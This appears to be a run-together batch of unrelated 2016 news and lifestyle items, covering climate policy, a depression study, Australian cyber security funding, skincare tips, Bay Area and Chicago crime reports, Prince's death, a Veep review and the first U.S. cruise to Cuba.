The Creative Team behind the world of OVO is: Artistic Guides Guy Laliberte and Gilles Ste-Croix; Writer, Director and Choreographer Deborah Colker (first female director at Cirque du Soleil); Director of Creation Chantal Tremblay; Set and props Designer Gringo Cardia; Costume Designer Liz Vandal; Composer and Musical Director Berna Ceppas; Lighting Designer Eric Champoux; Sound Designer Jonathan Deans and for the first time at Cirque du Soleil: Rigging and Acrobatic Equipment Designer Fred Gerard; Acrobatic Performance Designer Philippe Aubertin; and Makeup Designer Julie Begin.



Tickets are available at www.cirquedusoleil.com/ovo. Tickets start at $35 (subject to change).


Leonardo DiCaprio, an actor and UN Ambassador of Peace, together with Fred Krupp, US Environmental Defense executive director, both expressed their great concern over the issue of climate change in a ceremony at the UN headquarters in New York, April 22. It came just as the historic Paris agreement was signed by 130 countries tackling climate change.

The Guardian reports that the signing is hosted by Ban Ki-moon, secretary general from Korea. However, this is not the first attempt to tackle the problem. Copenhagen, Kyoto and Montreal have previously held summits regarding the matter. Leaders have high hopes in the present landmark agreement believing this is the beginning of a critical breakthrough and the following five basic principles will be observed by each country represented.

1. Reducing and pricing carbon emissions

Strict limits on the standards of emission reduction must be implemented. Policies that will discourage carbon pollution such as penalizing the polluters and rewarding the institutions as well as individuals promoting clean technology.

2. Accelerating the transition to renewable energy

The introduction of clean energy gives hope that the transition from fossil fuel to renewable energy is really doable. Investments on supporting earlier transition to clean energy must be taken to concern.

3. Protecting the world's vital ecosystems

Preserving the rainforests and wild oceans will be an assurance of a well preserved future for mankind. But it means keeping the indigenous people from depending on them for a living. Livelihoods as alternative source of income must be provided for them.

4. Taking aggressive short-term action first

Ideas have widely been given energy but the speed of their implementation should be taken radically. The earlier they will be exercised, the safer future there is for people around the world.

5. Making our cities global models for sustainability

Pioneering this reason is very essential. Showing the neighboring countries that 100 percent commitment to renewable energy is possible. Cities such as Vancouver, Sydney, Stockholm, and Las Vegas have taken the step and are encouraging more cities to follow the lead.

As per Leonardo DiCaprio Foundation, the actor who had been an environment enthusiast since 2014 owns a foundation which constantly supports programs for environment preservation such as the marine reserves in the Pacific. His foundation also donated three million dollars to protect tigers in Nepal and another three million dollars for the prevention of overfishing,

Both DiCaprio and Krupp support hundreds of nations in their rally to combat the effects of climate change and they both believe that the time to act is now, as MIT Energy Initiative reported.
Researchers from the University of Liverpool have published a study claiming that happy memories and images generate positive emotions that treat mental health problems such as anxiety or depression.

The team, led by Dr Peter Taylor from the University's Institute of Psychology, Health and Society, looked at the emotional reactions of 123 participants through a technique called social broad-minded affective coping (BMAC) .

"BMAC is an intervention that aims to elicit positive affect or emotion through the use of mental imagery of a positive memory," read the study published in Science Journal.

For the study, the researchers focused on individuals' emotional reactions to the mental imagery of a positive social memory. In the process, the participants were asked to recall a recent positive memory of being with another person. After which, they were asked to complete the social BMAC prompt sheet. After completing the measures, the team discovered that safe/warm positive affect, relaxed positive affect and feelings of social safeness increased following the social BMAC, while negatives were decreased.

"The findings suggest that the BMAC has the potential to be a practical and effective method for boosting mood amongst individuals with specific mental health problems such as anxiety or depression," said lead researcher Peter Taylor from the University.

In as separate study, a group of neuroscientists looked into how artificially reactivating positive memories can reverse a depression.

"Once you identify specific sites in the memory circuit which are not functioning well, or whose boosting will bring a beneficial consequence, there is a possibility of inventing new medical technology where the improvement will be targeted to the specific part of the circuit, rather than administering a drug and letting that drug function everywhere in the brain," says Susumu Tonegawa, the Picower Professor of Biology and Neuroscience, director of the RIKEN-MIT Center for Neural Circuit Genetics at MIT's Picower Institute for Learning and Memory, and senior author of the paper.

The study explains why psychotherapies are proven successful in treating depressed patients.

The recent findings of the scientists at the University of Liverpool may help in addressing the increasing number of suicide cases worldwide, as there has been evidence proving that there is a link between suicide and rising rates of distress among middle aged people.

New York Times recently reported that federal data analysis has found that suicide in the United States has surged to the highest levels in nearly 30 years, with increases in every age group except older adults.

Moreover, the "positive memory" approach may be used as an alternate to antidepressant drugs, which targets the entire brain.

According to the National Institute of Mental Health, suicide is the 10th leading cause of death overall, with over 41,000 people commiting suicide each year in the United States.

Below is a video showing tips on addresing depression and anxiety:
The Australian government announced on Thursday that they would be allotting $178 million to beef up cyber security. This was after admitting that the country's weather bureau had been compromised by cyber intrusion.

Prime Minister Malcolm Turnbull from Australia confirmed the rumors that some government agencies of the country had been hacked. However, he refused to answer when asked if he believes that China is behind the hacking.

The prime minister clarified that the funding, which will increase to $400 million Australian dollars, is to strengthen cyber security, finance regular meetings between government, researchers and businesses for strategizing on the concern that may arise.

Previous cyber attacks have also been encountered by the country when the Australian Broadcasting Corporation system was hacked in December. Australia's new intelligence agency headquarters blueprint was stolen in 2013. Moreover, there has been suspected cyber intrusion on the computers of the prime minister, foreign minister and defense minister two years ago, according to Security Week.

Hacking attacks cause Australia to lose $1 Billion Australian - equivalent to $780 million US dollars - a year.

"There's no global institution or infrastructure more important to the future prosperity and freedom of our global community than the Internet itself," said Turnbull in a speech in Sydney.

The prime minister plans to move the Australian Signals Directorate, Cyber Security Office of Intelligence Agency to a place with easier access to businesses. They found that right outside the Australian Security Intelligence Organisation is a perfect place.

"Given the speed with which these things have moved, we are overdue, and strategy goes some way to making good progress," said Phil Vasic, managing director of FireEye Inc, a U.S.-listed cybersecurity firm, as per Reuters.

On the other hand, the Australian government admitted to possessing offensive hacking capabilities clarifying that its existence "adds to [Australia's] credibility as it promote norms of good behaviour on the international stage and, importantly, familiarity with offensive measures enhances [its] defensive capabilities as well." They did not, however, confirm if it has ever been used to spy on anyone or any country, as reported by Engadget.

Here is a video offering a glimpse into Australia's Cyber Security.
Summer not only means hitting the beach and taking out of town trips, but it also means more exposure to skin damage. So before having your ultimate summer escapade, make sure that you skin is well protected from the harsh conditions that high temperatures and intense UV may bring.

Below are some tips you have to remember to keep your skin looking like your best accessory this summer.

1. Keep your skin moisturized

Seventy percent of our body is made of water.

Because of the high temperature, intense UV radiation and humidity during summer, the body may shed off insignificant amounts of water, arising to problems such as dehydration, which causes the skin to look dry and feel rough. In worse cases, peeling, redness and cracking may occur.

According to the International Dermal Institute, when skin is dehydrated, "it creates more oil to make up for the missing water. This can cause breakouts, irritation and dry patches."

Just like the rest of your body, the upper layers of your skin need their daily supply of water to retain plumpness and smoothness.

Neutrogena's Hydro Boost line is designed to help increase the water content of your skin by replenishing its water supply and by strengthening the skin's moisture barrier. This combination gives women that much-coveted smooth, supple and younger-looking skin.

2. Protection from the Sun

While giving your skin its much needed supply of water is a must, hydration is not enough. The skin should also be protected from the harmful rays of the sun which cause sunburns and itchiness. More than that, a lifetime of sun exposure can cause wrinkles, age spots and may increase the chances of other skin problems. You can combat these skin-ageing problems just by kicking off the habit of putting on sunscreen daily.

According to an article published in Today.com, there were 3.6 cases of skin cancer in 2015 and 90 percent of it is due to sun exposure. Dermatologists recommend using sunscreen with SPF 30 or higher to block UV rays.

Consumer Reports Magazine suggests La Roche-Pose Anthelios 60 Melt-In Sunscreen Milk, Vichy Capital Soleil 50, Coppertone Water Babies SPF 50 and Equate Ultra Protection SPF 50.

3. Drink plenty of water

While drugstore products promise skin wellness, nothing beats protection from within. As your body loses water, you need to replenish accordingly. For summer, an extra liter is recommended daily.

4. Indulge in olive oil

Olive oil, according to Beauty and Tips magazine is rich with fatty acids and antioxidants that will help keep your skin hydrated and healthy. "By massaging some olive oil into your skin, before you shower or bath, it will help stop the warm water and soap drying your skin out," the magazine writes.

5. Avoid harsh soap

We all know how much fragrant soaps attract us whenever shopping for our bath essentials. But the truth is using scented soaps strip off the natural oil on your skin, contributing to the dehydration of your skin. Direct Dermatology recommends switching to mild unscented soap such as Dove or Olay.

6. Eat the right food

Read and Digest reported that food with high sodium content naturally draws water from the body, therefore opt for healthier choices such as food that are rich in potassium and fiber - bananas, pineapples, sweet potatoes, coconut water and mangoes.
County unemployment rates for March 2016, released on Thursday, show the rates decreased in 92 counties, increased in one, and remained the same in two counties.

For the month of March, Davidson County had the states lowest major metropolitan rate at 3.1 percent, down from Februarys rate of 3.3 percent. Knox County was 3.4 percent in March, down from 3.6 the previous month. The Hamilton County rate was 4.0 percent, down from 4.2 in February. Shelby County was 4.7 percent, down from 4.9 percent the previous month.

Tennessees preliminary unemployment rate for March was 4.5 percent, down four tenths of a percentage point from the previous months revised rate. The U.S. preliminary rate for March was 5.0 percent, up one tenth of a percentage point from the previous month.

The state and national unemployment rates are seasonally adjusted while the county unemployment rates are not. Seasonal adjustment is a statistical technique that eliminates the influences of weather, holidays, the opening and closing of schools, and other recurring seasonal events from economic time series.
A small group of activists began a hunger strike today outside San Francisco's Mission Police Station, saying they would not eat until police Chief Greg Suhr is either fired or resigns in response to recent police shootings.

Members of the Black & Brown Social Club today said they planned to stay in front of the station, consuming nothing but liquids. "This is just a really deep issue and it shows no sign of letting up and we just need to do something radical," said Ike Pinkston, a hunger strike participant and member of the club.

Pinkston continued: "I'm not naive, I know that not every cop is a bad cop but they're all part of the same brotherhood. The good cops don't speak up about the bad cops."

Ilyich Sato, also known as the rapper Equipto, said the hunger strike was something that he and others had been seriously considering for a while now.

"I come to you as a son of San Francisco that's fighting for justice," he said. "This is not a joke, this is my family involved, this is my life.

Suhr has been dogged by repeated calls for his resignation from activists since the Dec. 2 fatal police shooting of Mario Woods in the Bayview District.

"If he refuses to resign, we want the mayor to fire him," said Yayne Abeba, who is supporting the hunger strike. "If the mayor cannot step up and do the right thing at the will of the people than the mayor can go."

Woods, who police allege was armed with a knife and was a suspect in a stabbing that occurred earlier that day, was surrounded and shot by five officers near a busy Municipal Railway stop.

Video of the shooting circulated widely on social media, fueling public controversy over police tactics.

The San Francisco Police Department had no comment about the hunger strike.
Fans are mourning the loss of music legend Prince, who was pronounced dead Thursday at his legendary recording studio in his hometown of Minnesota. He was 57.

Prince's impact on pop culture transcended generations. He also left a musical impact in the Bay Area.

"He was a genius at what he did," said Wanda Felix, a Prince fan from San Francisco.

Reality is sinking in for Tamier Powell, who recently saw Prince perform at the Paramount Theatre in Oakland.

"The thought that's not going to happen again breaks my heart," Powell said. "It really does."

[NATL] Prince: A Look Back at a Legendary Career

Oakland-native and platinum-selling artist Dwayne Wiggins once shared the stage with Prince as a member of the popular R&B group Tony Toni Tone. Wiggins said he was inspired by Prince and cannot believe he is gone.

"I broke into tears because I understood that this gentleman did it for the stone cold love," Wiggins said.

One of Prince's last shows took place at Oracle Arena in front of a crowd of 17,000 screaming fans in March. The arena in Oakland will be illuminated in purple through next week.

Purple was the color often associated with the music legend. San Francisco City Hall was also lit in purple late Thursday to honor Prince.

Fans said Prince's legacy will live on.

"Because he's a true visionary. He's a true musician. He's a true artist. He's like a Mozart," Wiggins said.
South Bay parents are calling for the resignation of the Cupertino Union School District's superintendent.

More than 1,000 people have signed a petition declaring no confidence in Superintendent Wendy Gudalewicz. The petition stems from parents protesting against district leadership over what they say is a lack of transparency.

We need more transparency, we need decisions to be careful and thought out and engaging of parents, and principals and teachers," said Gregory Anderson, a CUSD parent. Instead, what were getting is stone wall, undermining marginalization, which will ultimately end up in destroying this community.

Dozens of parents, teachers, and community members rallied in front of a school board meeting earlier this week to call for Gudalewicz's resignation, and for clarity on recent decisions made by the district.

The petition argues the superintendent and board members are working secretly to develop teacher housing at a closed school site. The group wants more engagement with the community.

Many are also still upset about the districts decision last year to replace all staff members at West Valley Elementary School because of tensions.

Gudalewicz said to NBC Bay Area at the April 19 board meeting that she will not resign, and has made an effort to visit with parents at each school. She says she is committed to increasing that effort so parents and community members feel heard.

None of the individuals have e-mailed me, Gudalewicz said. Ive asked them to come in and meet and there is no response.

Some parents said they have tried to reach out numerous times, but are met with unsatisfying answers or no answer at all.

Other community members spoke out at the meeting in favor of the effort the district is making, and asked for the community to join together to find solutions that will benefit the children.
A 22-year-old man was arrested Tuesday in connection with the vandalism of a rainbow-colored flag that flies outside a Clayton church, police said today.

John Hurst, a 22-year-old Concord resident, was arrested on Tuesday at 9:20 p.m. on suspicion of committing a hate crime and arson for burning the flag at Clayton Valley Presbyterian Church at 1578 Kirker Pass Road, Clayton police Chief Chris Wenzel said.

The flag was vandalized earlier that evening, Wenzel said. A witness described the suspect and Hurst was arrested just down the street from the church.

Wenzel said there have been multiple thefts of the flag in the past and another prior arson incident.

Detectives are investigating whether Hurst has alleged connections to those incidents as well.
If you walk into Mr. Randall's science classroom on a Wednesday during lunch, you may find students of the Science and Engineering Team shooting marshmallows from a pipe gun they engineered. Or, the team may be watching flames burst from a massive fire tub they created using pressure and propane.

The team experiments with science projects that are fun and relaxing, an intentional departure from the academic pressure they feel during the day.

"Silicon Valley, it's like the kids here are here to succeed for sure. People all around the world know that Silicon Valley is sort of the breeding ground for the best engineers, the best scientists in the world and my friends know they will be those engineers," said Paul Dennig, senior at Los Altos High school. "Having that sort of constant weight of, 'Oh, I really have to succeed sometimes,' that can really wear you down."

Growing up in the shadows of tech companies, many Silicon Valley teens feel an intense and unhealthy amount of pressure to succeed academically.

A growing number of youth in Santa Clara County have expressed the need for relief from emotional and mental challenges. In 2005, 9.6 percent of county youth ages 12-17 reported needing help for emotional or mental health problems, according to the California Health Interview Survey. By 2013-2014, over 22 percent of youth said they needed help.

The academic burden teens carry is heavy across Silicon Valley. The city of Palo Alto was researched by the CDC this year for two teen suicide clusters in the past seven years.

Palo Alto High School senior Carolyn Walworth wrote an essay about pressure and stress for a local newspaper, describing her peers as "lifeless bodies in a system that breeds competition, hatred and discourages teamwork and genuine learning."

Experts say the overwhelming amount of pressure teens feel can be crippling to their adolescent development.

"The amount of workload that teens are carrying is unbelievable and they really get locked into a story about success -- I need to get certain grades, I need to get into a certain school that gets me into a certain job. The unspoken end point of that is then I'll be happy," said Dr. Sanno Zack, Clinical Assistant Professor of Psychiatry at Stanford Children's Health. "[Their thoughts] become so future oriented there isn't the opportunity to be in life now, to be enjoying what's here right now."

School districts, parents, community leaders and students across the Valley are creating ways to ease the pressure teens feel.

The Mountain View-Los Altos High School District is working on a new homework policy to restrict the amount of homework hours students are given.

Students and teachers in the Palo Alto Unified School District created "Save The 2,008," a coalition committed to changing the stressful academic culture within schools in the district.

An increased focus on emotional and mental well-being in schools across Silicon Valley is teaching teens a new lesson.

"You don't always have to succeed," said Dennig. "A lot of engineering is about failing and fixing your problems later."
Authorities are investigating an accidental shooting inside San Francisco's Hall of Justice, Sheriff Vicki Hennessy said on Thursday.

The shooting occurred Wednesday morning when a bailiff, who does not currently carry a weapon in their current role, fired a non-duty weapon while talking with another deputy on the third floor.

"I was relieved no one was hurt was my first reaction," Hennessy said. "My second reaction was what were they thinking?"

Hennessy said she has organized training for both deputies on safety procedures. In addition, a safety bulletin about gun safety has been placed throughout the sheriff's department.

Both deputies are still on duty.

"Personal guns are allowed at times in our policy, but you're not supposed to carry them, not supposed to be bringing them in, and basically taking them out and showing them to people," Hennessy said.

San Francisco Public Defender Jeff Adachi said the shooting raises concerns.

"It's frightening something like this could happen," he said. "I think that this situation should be thoroughly investigated to make sure this doesn't happen again."
Midlothian police released surveillance video Friday afternoon showing a person of interest in the Missy Bevers case walking through a church on Monday morning, shortly before the married mother of three was killed.

Terri "Missy" Leann Bevers, 45, was attacked inside the Creekside Church of Christ after arriving at about 4 a.m. to teach an early-morning Camp Gladiator workout class, police said.

Police released a few frames of the video Monday, noting the person's distinctive gait and mannerisms, hoping it would help identify the unknown person.

"We are just hoping that somebody will see something that piques their interest and spurs their memory, so that they may make a connection to somebody they know and provide us that tip," said Midlothian's Assistant Police Chief Kevin Johnson.

Midlothian police released surveillance video Friday afternoon showing a person of interest in the Missy Bevers case walking through a church on Monday morning, shortly before the married mother of three was killed.

Friday afternoon, they released a longer clip showing the person walking through different parts of the church and swinging what appears to be a large hammer. Police would not say if it was the weapon used to kill Bevers, however, they indicated it was found near her body along with other tools from the church.

"Detectives would like the public to focus in on the mannerisms and distinguishing walk of the suspect," Johnson said, "Investigators believe that someone still has information or may recognize the suspect in this case."

Police said the indoor surveillance system at the church is motion-activated and that results in different time sequences. If there was no movement captured by the camera system, the video would stop recording. Video surveillance times are approximate, police said.

Investigators first said the person in the video, who is wearing black clothing and dressed similarly to a police tactical officer, is a man. On Tuesday they backed away from that assertion and said they weren't sure of the person's gender. When asked about potential suspects, Johnson said they were considering a long list of people.

"At this point, everything is on the table. We simply don't know," he explained. "All we know is that we want to find the killer responsible, whether it was one person or two persons, three persons  male or female."

Bevers is believed to have been in the church only moments before she ran into the person in black. Her students later found her unresponsive inside the church  she was later declared dead by a Justice of the Peace. Police said in a search warrant released Thursday that Bevers had a head wound, but further details about her death have been kept secret due to the investigation.

"This case is weighing heavy on the community and our investigative team. Our thoughts and prayers remain with the Bevers family and our entire Midlothian community. We will vigorously pursue the person or persons responsible and bring them to justice," said Midlothian Police Chief Carl D. Smith.

Midlothian police release more of a surveillance video recorded early Monday with hopes of helping identify a person of interest in the slaying of Missy Bevers.

The Midlothian Police Department continues to investigate new leads and is being assisted in the investigation by the Arlington Police Department, ATF, FBI and the Texas Rangers.

Anyone with information is asked to contact the department's tip line at 972-775-7624. Tipsters may be eligible for a cash reward and can also remain anonymous by contacting Ellis County Crime Stoppers at 972-937-PAYS (7297).

Oak Farms Dairy has offered a $10,000 reward for information leading to an arrest and grand jury indictment of the person or persons responsible.

On Friday afternoon, Kristi Stout, the victim's sister-in-law, said a fund had been established for Bevers' daughters. Anyone wishing to contribute can do so by making a donation to the Bevers Children Fund at any Citizens National Bank of Texas location.

NBC 5's Caroline Connolly contributed to this report.
The various presidential hopefuls might want to take a break Sunday and watch the fifth season premiere of "Veep"  not for laughs or even campaign tips, but for a gut check on whether the race for the White House is worth the heartache.

Foul-mouthed President Selina Meyer is bound for another rough ride amid an Electoral College tie that puts her smooth-talking running mate in prime position to snatch the Oval Office out from under her.

"Ma'am up," Meyer's former aide, Amy, told the weeping president during last season's election-night-set finale. "You're still the leader of the free world."

The biggest challenge for "Veep" isn't stopping the tears, but extending an impressive record of getting both funnier and more complex from season to season. Being TV's best situation comedy is a lot like being president: Somebody's always looking to take you down a peg.

The HBO Emmy-winning show, starring Seinfeld great Julia Louis-Dreyfus, returns with added and at least partially unexpected relevance. Hillary Clinton appears poised, like Meyer, to become the first woman to head a major party presidential ticket. The "Veep" Electoral College uncertainty doesn't seem all that far-fetched with the GOP potentially headed to an anything-can-happen convention this summer.

During her April 16 Saturday Night Live monologue, Louis-Dreyfus offered a mock apology as she suggested Veep might be responsible for the political rise of another recent host, Donald Trump: When we started doing our show, the idea of a presidential candidate being a cursing, narcissistic buffoon was supposed to be a joke.

"Veep, meanwhile, keeps chugging on a strangely parallel pop-culture track with Netflix intrigue-engine "House of Cards," which also features a vice president, thrust into the top job after the chief executive resigns, waging a fierce election fight amid constant twists. The comedy is more realistic than the drama (we hope), but both carry a similar feeling that everything could come crashing down at any moment.

As with "House of Cards" and the real-life campaign at times, "Veep" isn't about politics as much as personalities.

Meyer's dysfunctional staff mirror and often amplify her insecurities  a dynamic that plays out most hilariously and oddly with her lackey, Gary (actor Tony Hale), of whom she said last season: Gary has a very limited set of skills. Mainly, I would say they are picking objects up and then putting objects back down. Louis-Dreyfus and Hale's expert comedy interplay offers a frequent source of humor driven by awkwardness (they offered a bonus performance on SNL, when Hale showed up in character as Gary).

Also awkward is Meyer's campaign slogan, "Continuity with Change." But it's a great goal for "Veep" as the show vies to deliver on its promise of consistently producing standout TV comedy, which everyone could use during a chaotic election season.

Jere Hester is Director of News Products and Projects at the City University of New York Graduate School of Journalism. He is also the author of "Raising a Beatle Baby: How John, Paul, George and Ringo Helped us Come Together as a Family." Follow him on Twitter.
Cleveland State Community Colleges Wildlife Society competed in the Southeastern Wildlife Conclave competition in Richmond, Kentucky at Eastern Kentucky University.



The Wildlife Society student chapters host regional conclaves each year to provide college students with valuable hands-on training in wildlife management and conservation. Activities include field trips, field competitions, game-calling competitions, quiz bowl, art and photography contexts, guest speakers and many opportunities for professional development. The Southeastern Wildlife Conclave promotes networking and cooperation among students, faculty and wildlife professionals.



Wildlife Society Member Chris Redd, said, I was proud to be there representing CSCC. It was a lot of fun and the experience we gain working with the TWRA looks good on a resume. It felt fantastic to win against some of the larger four-year schools! Mr. Redd placed second for Wildlife Photography, fifth in Landscape Photography and fifth in the Shotgun competition.



Robert Brewer, associate professor of Biology / Wildlife Society Advisor, said, Im very proud of the conclave team. They beat many four year schools in several events. They should be proud of themselves.

According to Brewer, the team competed against 22 other schools with the majority of those being four year colleges and universities. The CSCC team competed in various competitions, and placed in several of those.



Dr. Denise King, vice president for Academic Affairs, said, Cleveland State Wildlife students are well prepared in all aspects. Not only have they demonstrated themselves as knowledgeable as university students, they surpass them in hands-on skills important to the profession. I am also impressed with the breadth of expertise our students show in using the arts and poetry to communicate effectively their passion for wildlife. Robert Brewer encourages this broad development of well-rounded Wildlife and Fisheries experts. Every year, I look forward to hearing about the achievements of our students at Conclave. They are winners!



Mr. Redd said, I could go on for days about the effort and dedication Robert Brewer puts into the Wildlife Society. We are one of the few community colleges that even has a Wildlife Society. I came to CSCC to take my general education courses, but I was definitely surprised that we had a Wildlife Society and that I was able to take on such an active role. Im excited to go back to the conclave next year!






At least 17 people were wounded, four of them critically, in shootings Thursday across Chicago.

The most recent attack left a teen boy wounded in West Englewood.

The 16-year-old was on the sidewalk in the 6300 block of South Wolcott Avenue at 11:10 p.m. when a vehicle drove by and a male inside fired shots, police said. The boy suffered a gunshot wound to the right leg and was taken to Holy Cross Hospital where his condition stabilized.

Three people were shot in the Avalon Park neighborhood less than 30 minutes earlier.

Two men, ages 23 and 27, and a 21-year-old woman were riding in a vehicle in the 7600 block of South South Chicago Avenue at 10:43 p.m. when another vehicle drove by and someone inside fired shots, police said.

The 23-year-old man was shot in the back of the neck, and the 27-year-old man was shot in the chest. Both were taken in critical condition to Northwestern Memorial Hospital, police said.

The woman suffered a graze wound to the right arm and was taken to Jackson Park Hospital where her condition stabilized, police said.

A male victim was shot in the neck just before 10 p.m. in the 9700 block of South Sangamon in the Washington Heights neighborhood, according to Chicago Police. He was taken in critical condition to Advocate Christ Medical Center in Oak Lawn, but additional details were not immediately available.

Fifteen minutes earlier, a 25-year-old man was shot while sitting on a Woodlawn neighborhood porch. He was on the porch in the 1500 block of East 66th Place when he heard shots and realized hed been struck in the right leg about 9:40 p.m. The man was taken to Northwestern Memorial Hospital, where his condition was stabilized, police said.

A 16-year-old boy was shot about 9:15 p.m. in a Park Manor neighborhood alley. He was walking through the alley in the 7800 block of South Michigan when a gunman in a blue SUV opened fire, hitting the boy in the left arm, The boy was taken to St. Bernard Hospital, where his condition was stabilized, police said.

An 18-year-old man was walking in the 5100 block of West West End Avenue at 8:25 p.m. when several males walked up and fired shots, police said.

The man suffered a gunshot wound to the right calf and was taken to West Suburban Medical Center in Oak Park where his condition stabilized, police said.

A 53-year-old man was critically wounded in an Austin neighborhood attack on the West Side. He was in the 1600 block of North Luna when he heard gunfire and realized hed been struck in the abdomen about 8:15 p.m., and was taken in critical condition to Stroger Hospital, police said.

About 6 p.m., two men were wounded in a Greater Grand Crossing neighborhood shooting on the South Side.

The men, 24 and 30, were walking into an apartment in the 1300 block of East 75th Street when someone fired shots at them from a light-colored van, according to Chicago Police. The younger man was shot in the buttocks and left arm and taken to Stroger Hospital, where his condition was stabilized. The older man suffered a wound to the abdomen and was taken to Northwestern Memorial Hospital. His condition wasnt immediately known.

Less than 90 minutes earlier, two men were injured in separate South Side shootings that happened at the same time roughly four miles apart.

In Bridgeport, a 20-year-old man was a passenger in a vehicle sitting at a red light in the 200 block of West 31st Street at 4:48 p.m. when a light-colored car pulled up and someone inside opened fire, police said. The car then sped away. The man suffered a graze wound to the upper back, police said. Hospital information was not immediately available.

About the same time in Back of the Yards, a 36-year-old man was shot in the left inner thigh in the 1300 block of West 51st Street, police said. He was taken to Stroger Hospital, but his condition was not immediately known. A police source said the man is a documented gang member.

Earlier Thursday afternoon, a 23-year-old man was grazed by a bullet in the Belmont Cragin neighborhood on the Northwest Side. He was standing in front of his house in the 5500 block of West Parker about 3:15 p.m. when two people rode up on bicycles, and one removed a gun from a backpack and fired, police said. They then rode away. The man suffered a graze wound to the right wrist and was treated at the scene. A police source said the shooting was gang-related.

About 11:20 a.m., a man and a teenage boy were both injured in a Little Village neighborhood shooting on the Southwest Side. The shooting happened in the 2500 block of West 24th Place, police said. A 19-year-old man was shot in the left leg, and a 17-year-old boy was shot in the left arm. They took themselves to Mount Sinai Hospital, where their conditions were stabilized.

Thursdays first shooting happened at 8:39 a.m. in the West Side Austin neighborhood. A 45-year-old man showed up at West Suburban Medical Center in Oak Park with a gunshot wound to the arm, according to police. He said he was shot a few minutes before in the 1100 block of North Leclaire. The victims condition was stabilized at the hospital.
Alderman Walter Burnett was attacked outside his West Side ward office Thursday Night, police confirmed.

The 27th Ward Alderman was going into his ward office located at 4 N. Western Ave. in the Near West Side neighborhood when he was punched in the face, according to the Chicago Police.

He did not sustain any serious injuries, and authorities confirmed that a suspect is in custody.

Burnett has represented the 27th Ward, which covers parts of East Garfield Park, Humboldt Park, the Near West Side, the Illinois Medical District, Greektown, United Center Park and the Near North Side, since 1995.

Check back for updates on this developing story.
The head of Chicago Police Accountability Task Force says she takes the mayor at his word, when he calls a series of reforms announced Thursday, only a down payment on what needs to be done to increase accountability and legitimacy in the wounded relationship between the public and Chicago Police.

We drafted the recommendations so they would fit together as a mosaic, said Task Force chief Lori Lightfoot. Its an encouraging step, but theres a lot more that needs to be done.

The changes announced by mayor Rahm Emanuel amount to about a third of the recommendations made in last weeks scathing report on Chicago Police. Among the reforms announced Thursday, intensified training to address bias and cultural differences, expanded use of Tasers and body cameras, and a new effort to expedite internal investigations.

The mayor emphasized that more changes are coming, but that he had to move carefully because of an ongoing Justice Department investigation of Chicago Police.

Within four and a half days, were already implementing a third, Emanuel told NBC5. Were open to all of it, and I just want to make sure that the Department of Justice, that were not going a direction that theyre not comfortable with.

The recommendations do not include a key finding of the Task Force reportthat the Independent Police Review Authority should be replaced with a new civilian accountability agency. But Emanuel emphasized that his reforms are a work in progress, and he noted that changes were announced last week, allowing IPRA greater latitude in investigations, and giving the Bureau of Internal Affairs the ability to move with greater speed.

The worst thing to do would be to do something and then six months later, hit the chop button again and change it, Emanuel said. I have to, as mayor, be conscious of the fact that we are working with the Department of Justice, and when you make those changes, you want to do them right.

Emanuel pointedly noted that his administration had moved quickly to counter the evils of the John Burge years, where recent investigations have revealed that suspects were routinely tortured by a group of officers under Burges command.

Not only did we have reparations, he said, we had benefits for the family members of the victims, and then I, as mayor, personally apologized.

Acknowledging where youre wrong, is the first step of where youve got to go right, he said.

Of the larger reforms, Emanuel insisted, this is not going to gather dust.

Lightfoot says she believes that. But she also suggested that concerns about moving before Justice completes its work are unnecessary.

We wrote the report in a way it couldnt be ignored, and frankly I dont think its going to be ignored, she said. The change is going to come, and the question is whether we embrace that change now, we do the things that we believe we need to do to get us headed in the right direction, or do we wait for the Department of Justice to impose that change on us?

The Task Force Report, a blistering assessment of race relations, policing, and accountability in Chicago, warned that a painful but necessary reckoning is upon us. The report found that while the issues surrounding the 2014 shooting of teenager Laquan McDonald constituted a tipping point in police relations, that issues of racism had been allowed to fester for decades in the city.

The report insisted that true reconciliation would only begin through a public admission by the Superintendent that his department had a history of racial disparity and discrimination. It called for a new Inspector General for Public Safety, and the replacement of the Independent Police Review Authority with a new Civilian Police Investigative Agency. The mayor said he was committed to those concepts, but the changes were not included in Thursdays recommendations.

The expectations on the part of the public have been raised, said Lightfoot. Theyre looking for deep, substantive, systemic change, and so are we.

That said, she quickly added, Were looking forward to see what of those substantive changes are actually adopted.

Lightfoot said she was encouraged by Emanuels promise of quarterly progress reports, and that she saw that as evidence that he has an expectation that there is more to be done.

The mayor has to do what the mayor believes is in the best interest of the city, she said. Certainly were all going to be judged by whether weve taken the bold steps.

For his part, newly appointed Police Superintendent Eddie Johnson seized on the reconciliation piece Thursday, saying I think for CPD it would be silly of us not to acknowledge that some segments of the city have been treated differently than others.

Acknowledging it, recognizing it, and putting something in place to guarantee that it doesnt continue happening moving forward, is where we have to be, he said. Changes are going to come, and sometimes its going to hurt a little bit. But its going to come.
A man charged with killing six people during a series of apparently random shootings in Kalamazoo, Michigan, has been found competent to understand the murder charges against him and assist his attorney.

A judge held a brief hearing Friday to acknowledge the exam results for 45-year-old Jason Dalton. His criminal case was on hold for weeks while experts determined whether he understood the process. Michigan State Police previously said he's been found competent.

The exam wasn't intended to determine whether Dalton was insane at the time of the Feb. 20 shootings. That's a separate matter.

Dalton allegedly told officials after the shooting he felt like the Uber app was controlling him and "is not a killer and he knows that he has killed."

He's charged with murder and attempted murder. Police say Dalton shot people outside an apartment building, a restaurant and a car dealership in between driving for Uber.

Two victims survived, including 14-year-old Abigail Kopf, who was released from the hospital Wednesday after six weeks of treatment, and 25-year-old Tiana Carruthers, who said she's trying to forgive the shooter who left her wheelchair bound.

A May 20 hearing will determine if there's enough evidence to send Dalton to trial.
Cuba has loosened a policy banning Cuban-born people from arriving by sea, allowing Carnival Corp. to go forward with the first U.S. cruise to the island in a half-century, the Cuban government and the Miami-based cruise line announced Friday.

The company at first barred Cuban-born Americans from buying tickets for the planned May 1 cruise to comply with Cuba's ban, drawing complaints from the Cuban-American community in Miami and a discrimination lawsuit. Then, the company said it would sell tickets to Cuban-Americans but hold the cruise only if Cuba relented and changed its policy.

Early Friday, Cuban state media announced the loosening of the maritime ban, and Carnival CEO Arnold Donald said in a statement that the trip would go forward May 1 from Miami. The 704-passenger Adonia of Carnival's Fathom brand is scheduled to make the initial seven-day trip, with future cruises planned every other week.

Donald said Carnival negotiated a change in Cuban policy, and that now its cruise ships and other commercial vessels will be treated the same as aircraft, which already are permitted to carry Cuban-born passengers.

"This is very positive outcome resulting from discussions we have been having for quite some time," Donald said in a conference call with reporters. "Today's development will impact countless lives. It's now available to everyone."

